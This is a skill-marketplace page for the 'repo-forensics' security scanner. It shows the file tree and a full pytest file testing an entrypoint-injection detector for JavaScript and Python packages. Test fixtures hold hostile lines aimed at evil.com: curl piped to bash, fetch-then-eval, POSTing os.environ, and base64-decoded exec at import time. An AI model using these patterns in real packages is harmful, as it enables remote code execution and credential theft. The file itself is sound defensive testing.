Skip to content

alexgreensh/repo-forensics / skills/repo-forensics

repo-forensics

Flagged

Security forensics for git repos, AI skills, and MCP servers. Audits dependencies, detects prompt injection, credential theft, runtime dynamism, manifest drift, known CVEs, CISA KEV (actively exploited) vulns, and 2026 attack patterns. Not for fixing vulnerabilities or pentesting.

FileKindSize
.gitignoreother193 B
SKILL.mdskill md43.4 KB
checksums.jsonconfig10.8 KB
checksums.json.sigother64 B
data/README.mdmarkdown1.3 KB
data/compromised_versions.jsonconfig188.3 KB
data/rule_ids.csvother35.3 KB
data/rulepacks/.gitkeepother221 B
data/rulepacks/dead_anchors.jsonconfig9.0 KB
data/rulepacks/mcp_security.jsonconfig31.2 KB
data/rulepacks/runtime_dynamism.jsonconfig46.7 KB
data/rulepacks/sast.jsonconfig107.6 KB
data/rulepacks/secrets.jsonconfig30.4 KB
data/rulepacks/shared.jsonconfig4.4 KB
data/rulepacks/skill_threats.jsonconfig95.4 KB
data/runtime_floors.jsonconfig2.3 KB
data/yara/cryptominers.yarother1.8 KB
data/yara/hacktools.yarother2.2 KB
data/yara/malware.yarother2.2 KB
data/yara/manifest.jsonconfig8.0 KB
data/yara/webshells.yarother2.5 KB
references/cursor-hook-contract.mdmarkdown5.6 KB
references/kernel_privesc_sandbox_pack.mdmarkdown5.0 KB
references/mcp-attack-patterns.mdmarkdown8.7 KB
references/research_sources.mdmarkdown8.0 KB
references/threat_patterns.mdmarkdown20.3 KB
scripts/_context_gate.pyscript21.7 KB
scripts/_ed25519.pyscript5.1 KB
scripts/_pyc_unmarshal.pyscript17.1 KB
scripts/_shared_patterns.pyscript4.8 KB
scripts/adjudication.pyscript16.4 KB
scripts/adjudication_bridge.pyscript1.0 KB
scripts/aggregate_json.pyscript69.2 KB
scripts/auto_scan.pyexecutablescript152.1 KB
scripts/corpus_sync.pyscript10.0 KB
scripts/cursor_pre_scan.pyscript22.5 KB
scripts/dast_sandbox.sbother1.6 KB
scripts/dead_anchors_extract.pyscript14.8 KB
scripts/dead_anchors_probe.pyscript27.1 KB
scripts/forensics_core.pyscript176.5 KB
scripts/gen_rule_ids.pyscript8.6 KB
scripts/hook_adapter.pyscript19.4 KB
scripts/ioc_manager.pyscript49.6 KB
scripts/parse_pnpm_lock.pyscript7.9 KB
scripts/pre_scan.pyscript143.5 KB
scripts/pypi_pins.pyscript8.1 KB
scripts/refresh_controller.pyexecutablescript48.4 KB
scripts/refresh_threat_dbs.pyexecutablescript19.4 KB
scripts/rule_loader.pyscript44.8 KB
scripts/rulepack_feed.pyscript26.4 KB
scripts/run_forensics.shexecutablescript20.3 KB
scripts/sarif_export.pyscript18.6 KB
scripts/scan_agent_skills.pyscript33.2 KB
scripts/scan_archive.pyscript29.1 KB
scripts/scan_ast.pyscript44.9 KB
scripts/scan_binary.pyscript10.9 KB
scripts/scan_bytecode.pyscript28.2 KB
scripts/scan_dast.pyscript28.8 KB
scripts/scan_dataflow.pyscript15.4 KB
scripts/scan_dead_anchors.pyscript15.9 KB
scripts/scan_decode.pyscript37.5 KB
scripts/scan_dependencies.pyscript124.5 KB
scripts/scan_devcontainer.pyscript8.5 KB
scripts/scan_entropy.pyscript15.6 KB
scripts/scan_entrypoint.pyscript34.3 KB
scripts/scan_git_config.pyscript96.3 KB
scripts/scan_git_forensics.pyscript24.1 KB
scripts/scan_history.pyscript14.5 KB
scripts/scan_infra.pyscript54.3 KB
scripts/scan_integrity.pyscript41.0 KB
scripts/scan_lifecycle.pyscript65.1 KB
scripts/scan_manifest_drift.pyscript47.0 KB
scripts/scan_mcp_security.pyscript42.3 KB
scripts/scan_oversize.pyscript11.7 KB
scripts/scan_post_incident.pyscript36.9 KB
scripts/scan_provenance.pyscript19.4 KB
scripts/scan_runtime_dynamism.pyscript23.5 KB
scripts/scan_runtime_floors.pyscript33.5 KB
scripts/scan_sast.pyscript59.1 KB
scripts/scan_secrets.pyscript11.9 KB
scripts/scan_skill_threats.pyscript102.4 KB
scripts/scan_splitstream.pyscript29.5 KB
scripts/scan_yara.pyscript19.7 KB
scripts/session_scan.pyscript54.1 KB
scripts/suppressions.pyscript15.4 KB
scripts/validate_manifests.pyscript13.7 KB
scripts/verify_install.pyscript26.2 KB
scripts/vuln_feed.pyscript31.1 KB
tests/conftest.pyscript13.4 KB
tests/corpus/DEAD_ANCHORS_CORPUS.mdmarkdown2.3 KB
tests/corpus/budgets.jsonconfig5.6 KB
tests/cursor_helpers.pyscript12.6 KB
tests/fixtures/legacy_main_blocks.jsonconfig10.3 KB
tests/fixtures/powershell_verdict_corpus.jsonconfig114.9 KB
tests/golden/parity_mcp_security.jsonconfig17.5 KB
tests/golden/parity_runtime_dynamism.jsonconfig31.7 KB
tests/golden/parity_sast.jsonconfig59.8 KB
tests/golden/parity_secrets.jsonconfig18.8 KB
tests/golden/parity_skill_threats.jsonconfig48.8 KB
tests/parity_corpus.pyscript6.3 KB
tests/powershell_hook.pyscript8.2 KB
tests/report_builders.pyscript5.0 KB
tests/schemas/sarif-schema-2.1.0.jsonconfig109.1 KB
tests/shell_compat.pyscript2.2 KB
tests/test_adjudication_bridge.pyscript832 B
tests/test_adjudication_containment.pyscript1.4 KB
tests/test_adjudication_output.pyscript20.0 KB
tests/test_adjudication_suppressions.pyscript18.7 KB
tests/test_advisory_adjudication.pyscript1.3 KB
tests/test_agent_relay_rules.pyscript7.8 KB
tests/test_aggregate_json.pyscript10.0 KB
tests/test_auto_scan_patterns.pyscript10.5 KB
tests/test_benign_corpus.pyscript16.4 KB
tests/test_benign_new_scanners.pyscript6.1 KB
tests/test_build_output_skip.pyscript10.6 KB
tests/test_capability_ledger.pyscript18.8 KB
tests/test_codex_install.pyscript10.0 KB
tests/test_codex_marketplace.pyscript3.3 KB
tests/test_comment_false_positives.pyscript2.2 KB
tests/test_composer_dependencies.pyscript4.0 KB
tests/test_compromised_versions.pyscript51.2 KB
tests/test_context_gate.pyscript32.4 KB
tests/test_coverage_status.pyscript7.6 KB
tests/test_css_compounding_shrink.pyscript20.8 KB
tests/test_cursor_adapter.pyscript7.8 KB
tests/test_cursor_benign.pyscript3.4 KB
tests/test_cursor_degrade.pyscript12.7 KB
tests/test_cursor_install.pyscript17.1 KB
tests/test_cursor_latency.pyscript7.2 KB
tests/test_cursor_parity.pyscript5.8 KB
tests/test_cursor_redteam_fn.pyscript4.9 KB
tests/test_cursor_tamper_modify.pyscript14.2 KB
tests/test_cursor_wiring.pyscript32.3 KB
tests/test_d1_yara_correlation.pyscript9.2 KB
tests/test_dead_anchors_extract.pyscript7.6 KB
tests/test_dead_anchors_probe.pyscript19.7 KB
tests/test_evidence_engine_parity.pyscript8.1 KB
tests/test_evidence_model.pyscript11.4 KB
tests/test_forensics_core.pyscript79.2 KB
tests/test_fp_hardening_r3.pyscript9.7 KB
tests/test_fp_hardening_r4.pyscript18.8 KB
tests/test_fp_regression_pairs.pyscript62.5 KB
tests/test_fp_structural.pyscript21.2 KB
tests/test_freshness.pyscript6.2 KB
tests/test_frontmatter_validity.pyscript7.0 KB
tests/test_gpg_rce_hotfix.pyscript4.8 KB
tests/test_hook_inert_data.pyscript6.1 KB
tests/test_hook_scripts.pyscript14.0 KB
tests/test_inspection_cpu_budget.pyscript11.6 KB
tests/test_ioc_manager.pyscript55.4 KB
tests/test_kernel_privesc_rules.pyscript27.8 KB
tests/test_legit_precision_regressions.pyscript6.8 KB
tests/test_lethal_trifecta.pyscript20.7 KB
tests/test_manifest_signature.pyscript1.5 KB
tests/test_manifest_validity.pyscript2.9 KB
tests/test_monotonic_trust_e2e.pyscript4.4 KB
tests/test_non_breaking_contract.pyscript22.7 KB
tests/test_openclaw_install.pyscript6.6 KB
tests/test_pack_parity.pyscript24.8 KB
tests/test_parse_pnpm_lock.pyscript10.7 KB
tests/test_plugin_checkout_provenance.pyscript11.1 KB
tests/test_powershell_hook_wire.pyscript10.6 KB
tests/test_powershell_verdict_corpus.pyscript6.2 KB
tests/test_pr44_hardening.pyscript6.5 KB
tests/test_pre_scan.pyscript19.6 KB
tests/test_pre_scan_composer.pyscript7.4 KB
tests/test_precondition_fields.pyscript4.6 KB
tests/test_provenance_offline.pyscript2.5 KB
tests/test_published_rulepack_feed_current.pyscript1.4 KB
tests/test_py38_compat.pyscript3.3 KB
tests/test_pypi_pinned_versions.pyscript19.3 KB
tests/test_pyproject_string_forms.pyscript2.2 KB
tests/test_redteam_fn_regression.pyscript32.5 KB
tests/test_reflective_fetch_execute.pyscript23.5 KB
tests/test_reflective_review_fixes.pyscript17.8 KB
tests/test_refresh_controller.pyscript19.9 KB
tests/test_refresh_rulepacks.pyscript12.4 KB
tests/test_review_gate_regressions.pyscript9.3 KB
tests/test_rule_loader.pyscript23.2 KB
tests/test_rulepack_feed.pyscript38.1 KB
tests/test_run_forensics_json.pyscript1012 B
tests/test_run_scanner_fail_loud.pyscript6.5 KB
tests/test_runtime_floors.pyscript19.8 KB
tests/test_sandbox_probing_rules.pyscript9.6 KB
tests/test_sarif_export.pyscript19.9 KB
tests/test_scan_agent_skills.pyscript31.3 KB
tests/test_scan_archive.pyscript11.6 KB
tests/test_scan_ast.pyscript12.8 KB
tests/test_scan_binary.pyscript15.3 KB
tests/test_scan_bytecode.pyscript21.5 KB
tests/test_scan_dast.pyscript32.1 KB
tests/test_scan_dataflow.pyscript7.1 KB
tests/test_scan_dead_anchors.pyscript11.5 KB
tests/test_scan_decode.pyscript28.0 KB
tests/test_scan_dependencies.pyscript37.8 KB
tests/test_scan_devcontainer.pyscript8.5 KB
tests/test_scan_entropy.pyscript11.2 KB
tests/test_scan_entrypoint.pyscript19.5 KB
tests/test_scan_git_config.pyscript58.5 KB
tests/test_scan_git_config_review_fixes.pyscript33.3 KB

tests/test_scan_entrypoint.py

View on GitHub
"""Tests for scan_entrypoint.py - Entrypoint Payload Injection Scanner."""

import json
import scan_entrypoint as scanner


class TestJsIifeInjection:
    """JavaScript CJS entrypoint IIFE injection detection."""

    def test_node_ipc_reproduction(self, tmp_path):
        """node-ipc pattern: package.json with main field, CJS file ending
        with IIFE containing require('child_process') -> CRITICAL."""
        pkg = tmp_path / "package.json"
        pkg.write_text(json.dumps({
            "name": "node-ipc",
            "main": "node-ipc.cjs",
        }))
        cjs = tmp_path / "node-ipc.cjs"
        cjs.write_text(
            "// node-ipc - legitimate IPC library\n"
            "const net = require('net');\n"
            "\n"
            "class IPC {\n"
            "  constructor() { this.connections = []; }\n"
            "  connect(path) { return net.createConnection(path); }\n"
            "}\n"
            "\n"
            "module.exports = IPC;\n"
            "\n"
            "// --- injected payload below ---\n"
            "(function(){\n"
            "  const cp = require('child_process');\n"
            "  cp.execSync('curl http://evil.com/steal | bash');\n"
            "})()\n"
        )
        findings = scanner.scan_file(str(cjs), "node-ipc.cjs")
        critical = [f for f in findings if f.severity == "critical"]
        assert len(critical) >= 1
        assert any("entrypoint-iife" == f.category for f in critical)
        assert any("child_process" in f.description for f in critical)

    def test_iife_after_legitimate_exports(self, tmp_path):
        """IIFE at end of legitimate module (normal exports above) -> HIGH."""
        cjs = tmp_path / "index.js"
        cjs.write_text(
            "const utils = require('./utils');\n"
            "\n"
            "function processData(data) {\n"
            "  return utils.transform(data);\n"
            "}\n"
            "\n"
            "module.exports = { processData };\n"
            "\n"
            "(function(){\n"
            "  console.log('suspicious self-executing code');\n"
            "})()\n"
        )
        findings = scanner.scan_file(str(cjs), "index.js")
        assert len(findings) >= 1
        iife_findings = [f for f in findings if f.category == "entrypoint-iife"]
        assert len(iife_findings) >= 1
        # No dangerous patterns, so should be HIGH not CRITICAL
        assert any(f.severity == "high" for f in iife_findings)

    def test_minified_iife_arrow(self, tmp_path):
        """Minified IIFE: (()=>{...})() at end of file -> HIGH."""
        cjs = tmp_path / "index.cjs"
        cjs.write_text(
            "const x = require('./lib');\n"
            "module.exports = x;\n"
            "\n"
            "(()=>{\n"
            "  let a = 1 + 2;\n"
            "  console.log(a);\n"
            "})()\n"
        )
        findings = scanner.scan_file(str(cjs), "index.cjs")
        iife_findings = [f for f in findings if f.category == "entrypoint-iife"]
        assert len(iife_findings) >= 1
        assert any(f.severity == "high" for f in iife_findings)

    def test_iife_with_network_access_is_critical(self, tmp_path):
        """IIFE with fetch() to external URL should be CRITICAL."""
        cjs = tmp_path / "index.js"
        cjs.write_text(
            "module.exports = {};\n"
            "\n"
            "(function(){\n"
            "  fetch('https://evil.com/payload').then(r => r.text()).then(eval);\n"
            "})()\n"
        )
        findings = scanner.scan_file(str(cjs), "index.js")
        critical = [f for f in findings if f.severity == "critical"]
        assert len(critical) >= 1

    def test_module_exports_reassignment(self, tmp_path):
        """Duplicate module.exports at bottom -> HIGH."""
        cjs = tmp_path / "index.js"
        # Build a file large enough that the second export is in the bottom 20%
        lines = ["// line " + str(i) for i in range(20)]
        lines.insert(0, "module.exports = { safe: true };")
        lines.append("module.exports = { evil: true };")
        cjs.write_text('\n'.join(lines))
        findings = scanner.scan_file(str(cjs), "index.js")
        reassign_findings = [f for f in findings if "Reassignment" in f.title]
        assert len(reassign_findings) >= 1
        assert reassign_findings[0].severity == "high"


class TestJsFalsePositives:
    """False positive resistance for JavaScript IIFE detection."""

    def test_webpack_banner_not_flagged(self, tmp_path):
        """IIFE in a file with webpack banner should NOT fire."""
        cjs = tmp_path / "index.js"
        cjs.write_text(
            "/*! webpack bundle output */\n"
            "/******/ (function(modules) {\n"
            "  // webpack bootstrap\n"
            "  var installedModules = {};\n"
            "})()\n"
        )
        findings = scanner.scan_file(str(cjs), "index.js")
        iife_findings = [f for f in findings if f.category == "entrypoint-iife"]
        assert len(iife_findings) == 0

    def test_rollup_banner_not_flagged(self, tmp_path):
        """IIFE in a file with rollup banner should NOT fire."""
        cjs = tmp_path / "index.js"
        cjs.write_text(
            "// rollup compiled output\n"
            "'use strict';\n"
            "(function () {\n"
            "  var exports = {};\n"
            "  exports.default = 42;\n"
            "})()\n"
        )
        findings = scanner.scan_file(str(cjs), "index.js")
        iife_findings = [f for f in findings if f.category == "entrypoint-iife"]
        assert len(iife_findings) == 0

    def test_esbuild_banner_not_flagged(self, tmp_path):
        """IIFE in a file with esbuild banner should NOT fire."""
        cjs = tmp_path / "index.js"
        cjs.write_text(
            "/* esbuild generated */\n"
            "(()=>{var e=require('fs');module.exports=e;})()\n"
        )
        findings = scanner.scan_file(str(cjs), "index.js")
        iife_findings = [f for f in findings if f.category == "entrypoint-iife"]
        assert len(iife_findings) == 0

    def test_clean_module_no_findings(self, tmp_path):
        """A clean module with normal exports should produce no findings."""
        cjs = tmp_path / "index.js"
        cjs.write_text(
            "const path = require('path');\n"
            "\n"
            "function resolve(p) {\n"
            "  return path.resolve(__dirname, p);\n"
            "}\n"
            "\n"
            "module.exports = { resolve };\n"
        )
        findings = scanner.scan_file(str(cjs), "index.js")
        assert len(findings) == 0

    def test_non_js_file_not_scanned(self, tmp_path):
        """Non-JS files should produce no findings even with IIFE-like content."""
        txt = tmp_path / "readme.txt"
        txt.write_text("(function(){ evil(); })()\n")
        findings = scanner.scan_file(str(txt), "readme.txt")
        assert len(findings) == 0


class TestPythonImportTimeExecution:
    """Python entrypoint import-time execution detection."""

    def test_init_subprocess_run(self, tmp_path):
        """__init__.py with top-level subprocess.run() -> CRITICAL."""
        pkg = tmp_path / "evil_pkg"
        pkg.mkdir()
        init = pkg / "__init__.py"
        init.write_text(
            "import subprocess\n"
            "\n"
            "subprocess.run(['curl', 'http://evil.com/payload'])\n"
        )
        findings = scanner.scan_python_entrypoint(str(init), "evil_pkg/__init__.py")
        critical = [f for f in findings if f.severity == "critical"]
        assert len(critical) >= 1
        assert any("entrypoint-import-exec" == f.category for f in critical)
        assert any("subprocess.run" in f.description for f in critical)

    def test_init_urllib_urlopen(self, tmp_path):
        """__init__.py with top-level urllib.request.urlopen() -> CRITICAL."""
        pkg = tmp_path / "evil_pkg"
        pkg.mkdir()
        init = pkg / "__init__.py"
        init.write_text(
            "import urllib.request\n"
            "\n"
            "data = urllib.request.urlopen('http://evil.com/c2').read()\n"
        )
        findings = scanner.scan_python_entrypoint(str(init), "evil_pkg/__init__.py")
        critical = [f for f in findings if f.severity == "critical"]
        assert len(critical) >= 1
        assert any("urllib.request.urlopen" in f.description for f in critical)

    def test_setup_py_os_system(self, tmp_path):
        """setup.py with top-level os.system() -> HIGH."""
        setup = tmp_path / "setup.py"
        setup.write_text(
            "import os\n"
            "from setuptools import setup\n"
            "\n"
            "os.system('curl http://evil.com/install | bash')\n"
            "\n"
            "setup(\n"
            "    name='evil-package',\n"
            "    version='1.0.0',\n"
            ")\n"
        )
        findings = scanner.scan_python_entrypoint(str(setup), "setup.py")
        high_or_critical = [f for f in findings if f.severity in ("high", "critical")]
        assert len(high_or_critical) >= 1
        assert any("os.system" in f.description for f in high_or_critical)

    def test_init_exec_with_obfuscated_arg(self, tmp_path):
        """__init__.py with exec(decode(...)) -> CRITICAL."""
        pkg = tmp_path / "evil_pkg"
        pkg.mkdir()
        init = pkg / "__init__.py"
        init.write_text(
            "import base64\n"
            "\n"
            "exec(base64.b64decode('cHJpbnQoJ3B3bmVkJyk='))\n"
        )
        findings = scanner.scan_python_entrypoint(str(init), "evil_pkg/__init__.py")
        critical = [f for f in findings if f.severity == "critical"]
        assert len(critical) >= 1
        assert any("exec()" in f.title for f in critical)

    def test_init_requests_post(self, tmp_path):
        """__init__.py with top-level requests.post() -> CRITICAL."""
        pkg = tmp_path / "evil_pkg"
        pkg.mkdir()
        init = pkg / "__init__.py"
        init.write_text(
            "import os\n"
            "import requests\n"
            "\n"
            "requests.post('http://evil.com/exfil', json=dict(os.environ))\n"
        )
        findings = scanner.scan_python_entrypoint(str(init), "evil_pkg/__init__.py")
        critical = [f for f in findings if f.severity == "critical"]
        assert len(critical) >= 1
        assert any("requests.post" in f.description for f in critical)

    def test_init_socket_creation(self, tmp_path):
        """__init__.py with top-level socket.socket() -> CRITICAL."""
        pkg = tmp_path / "evil_pkg"
        pkg.mkdir()
        init = pkg / "__init__.py"
        init.write_text(
            "import socket\n"
            "\n"
            "s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n"
        )
        findings = scanner.scan_python_entrypoint(str(init), "evil_pkg/__init__.py")
        critical = [f for f in findings if f.severity == "critical"]
        assert len(critical) >= 1


class TestPythonFalsePositives:
    """False positive resistance for Python entrypoint detection."""

    def test_os_path_dirname_not_flagged(self, tmp_path):
        """__init__.py with os.path.dirname() at top level -> NO finding."""
        pkg = tmp_path / "safe_pkg"
        pkg.mkdir()
        init = pkg / "__init__.py"
        init.write_text(
            "import os\n"
            "\n"
            "PKG_DIR = os.path.dirname(os.path.abspath(__file__))\n"
            "DATA_DIR = os.path.join(PKG_DIR, 'data')\n"
        )
        findings = scanner.scan_python_entrypoint(str(init), "safe_pkg/__init__.py")
        assert len(findings) == 0

    def test_constant_assignments_not_flagged(self, tmp_path):
        """__init__.py with only constant assignments -> NO finding."""
        pkg = tmp_path / "safe_pkg"
        pkg.mkdir()
        init = pkg / "__init__.py"
        init.write_text(
            "__version__ = '1.0.0'\n"
            "__author__ = 'Test Author'\n"
            "DEFAULT_TIMEOUT = 30\n"
            "SUPPORTED_FORMATS = ['json', 'yaml', 'toml']\n"
        )
        findings = scanner.scan_python_entrypoint(str(init), "safe_pkg/__init__.py")
        assert len(findings) == 0

    def test_name_main_guard_not_flagged(self, tmp_path):
        """if __name__ == '__main__' block -> NO finding."""
        setup = tmp_path / "setup.py"
        setup.write_text(
            "import os\n"
            "import subprocess\n"
            "from setuptools import setup\n"
            "\n"
            "setup(name='safe-package', version='1.0.0')\n"
            "\n"
            "if __name__ == '__main__':\n"
            "    subprocess.run(['python', '-m', 'pytest'])\n"
            "    os.system('echo done')\n"
        )
        findings = scanner.scan_python_entrypoint(str(setup), "setup.py")
        # Should not flag subprocess.run or os.system inside __name__ guard
        dangerous_findings = [f for f in findings if f.category == "entrypoint-import-exec"]
        assert len(dangerous_findings) == 0

    def test_function_body_not_flagged(self, tmp_path):
        """subprocess.run() inside a function definition -> NO finding."""
        pkg = tmp_path / "safe_pkg"
        pkg.mkdir()
        init = pkg / "__init__.py"
        init.write_text(
            "import subprocess\n"
            "\n"
            "def run_command(cmd):\n"
            "    return subprocess.run(cmd, capture_output=True)\n"
        )
        findings = scanner.scan_python_entrypoint(str(init), "safe_pkg/__init__.py")
        assert len(findings) == 0

    def test_class_body_not_flagged(self, tmp_path):
        """subprocess.Popen inside a class -> NO finding."""
        pkg = tmp_path / "safe_pkg"
        pkg.mkdir()
        init = pkg / "__init__.py"
        init.write_text(
            "import subprocess\n"
            "\n"
            "class Runner:\n"
            "    def execute(self, cmd):\n"
            "        return subprocess.Popen(cmd)\n"
        )
        findings = scanner.scan_python_entrypoint(str(init), "safe_pkg/__init__.py")
        assert len(findings) == 0

    def test_non_entrypoint_python_not_scanned(self, tmp_path):
        """Regular .py files (not __init__.py or setup.py) should not be scanned."""
        evil = tmp_path / "evil.py"
        evil.write_text(
            "import subprocess\n"
            "subprocess.run(['curl', 'http://evil.com'])\n"
        )
        findings = scanner.scan_python_entrypoint(str(evil), "evil.py")
        assert len(findings) == 0

    def test_import_statements_not_flagged(self, tmp_path):
        """Import statements at top level -> NO finding."""
        pkg = tmp_path / "safe_pkg"
        pkg.mkdir()
        init = pkg / "__init__.py"
        init.write_text(
            "import os\n"
            "import sys\n"
            "from pathlib import Path\n"
            "from .core import main\n"
        )
        findings = scanner.scan_python_entrypoint(str(init), "safe_pkg/__init__.py")
        assert len(findings) == 0

    def test_empty_init_not_flagged(self, tmp_path):
        """Empty __init__.py -> NO finding."""
        pkg = tmp_path / "safe_pkg"
        pkg.mkdir()
        init = pkg / "__init__.py"
        init.write_text("")
        findings = scanner.scan_python_entrypoint(str(init), "safe_pkg/__init__.py")
        assert len(findings) == 0

    def test_logging_getlogger_not_flagged(self, tmp_path):
        """logging.getLogger() at top level -> NO finding."""
        pkg = tmp_path / "safe_pkg"
        pkg.mkdir()
        init = pkg / "__init__.py"
        init.write_text(
            "import logging\n"
            "\n"
            "logger = logging.getLogger(__name__)\n"
        )
        findings = scanner.scan_python_entrypoint(str(init), "safe_pkg/__init__.py")
        assert len(findings) == 0


class TestHighEntropyAppended:
    """High-entropy appended content detection in JS files."""

    def test_high_entropy_block_at_end(self, tmp_path):
        """High-entropy base64-like block appended at end -> MEDIUM."""
        cjs = tmp_path / "index.js"
        # Base64-encoded payload has Shannon entropy > 4.5, crossing our threshold
        b64_payload = "VGhpcyBpcyBhIHNlY3JldCBwYXlsb2FkIHdpdGggcmFuZG9taXplZCBjb250ZW50IGZvciB0ZXN0aW5nIHRoZSBlbnRyb3B5"
        cjs.write_text(
            "module.exports = {};\n"
            f"var _x = '{b64_payload}';\n"
        )
        findings = scanner.scan_file(str(cjs), "index.js")
        entropy_findings = [f for f in findings if "entropy" in f.title.lower()]
        assert len(entropy_findings) >= 1
        assert entropy_findings[0].severity == "medium"

    def test_no_entropy_on_short_lines(self, tmp_path):
        """Short content at end should not trigger entropy check."""
        cjs = tmp_path / "index.js"
        cjs.write_text(
            "module.exports = { x: 1 };\n"
        )
        findings = scanner.scan_file(str(cjs), "index.js")
        entropy_findings = [f for f in findings if "entropy" in f.title.lower()]
        assert len(entropy_findings) == 0


class TestScanFileIntegration:
    """Integration tests for the scan_file dispatch function."""

    def test_scan_file_python_init(self, tmp_path):
        """scan_file correctly routes __init__.py."""
        pkg = tmp_path / "pkg"
        pkg.mkdir()
        init = pkg / "__init__.py"
        init.write_text(
            "import subprocess\n"
            "subprocess.run(['whoami'])\n"
        )
        findings = scanner.scan_file(str(init), "pkg/__init__.py")
        assert len(findings) >= 1
        assert any(f.category == "entrypoint-import-exec" for f in findings)

    def test_scan_file_js_entrypoint(self, tmp_path):
        """scan_file correctly routes .js files."""
        cjs = tmp_path / "index.js"
        cjs.write_text(
            "module.exports = {};\n"
            "(function(){\n"
            "  var x = 1;\n"
            "})()\n"
        )
        findings = scanner.scan_file(str(cjs), "index.js")
        assert len(findings) >= 1
        assert any(f.category == "entrypoint-iife" for f in findings)

    def test_scan_file_irrelevant_extension(self, tmp_path):
        """scan_file skips irrelevant file types."""
        md = tmp_path / "README.md"
        md.write_text("# Readme\n(function(){ evil(); })()\n")
        findings = scanner.scan_file(str(md), "README.md")
        assert len(findings) == 0


class TestCategoryDeduplication:
    """Verify categories are distinct from scan_sast and detect_trifecta_raw."""

    def test_categories_are_entrypoint_specific(self, tmp_path):
        """All findings use entrypoint-specific categories."""
        pkg = tmp_path / "pkg"
        pkg.mkdir()
        init = pkg / "__init__.py"
        init.write_text(
            "import subprocess\n"
            "subprocess.run(['curl', 'http://evil.com'])\n"
        )
        cjs = tmp_path / "index.js"
        cjs.write_text(
            "module.exports = {};\n"
            "(function(){ require('child_process').execSync('id'); })()\n"
        )

        py_findings = scanner.scan_file(str(init), "pkg/__init__.py")
        js_findings = scanner.scan_file(str(cjs), "index.js")

        all_findings = py_findings + js_findings
        assert len(all_findings) >= 2

        allowed_categories = {"entrypoint-iife", "entrypoint-import-exec"}
        for f in all_findings:
            assert f.category in allowed_categories, (
                f"Finding category '{f.category}' is not entrypoint-specific. "
                f"Must be one of {allowed_categories} to avoid dedup with scan_sast."
            )

    def test_scanner_name_is_entrypoint(self, tmp_path):
        """All findings have scanner='entrypoint'."""
        pkg = tmp_path / "pkg"
        pkg.mkdir()
        init = pkg / "__init__.py"
        init.write_text(
            "import os\n"
            "os.system('whoami')\n"
        )
        findings = scanner.scan_file(str(init), "pkg/__init__.py")
        for f in findings:
            assert f.scanner == "entrypoint"
rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first.Stars: 196kUpdated Claude CodeCodexVerifiedInstall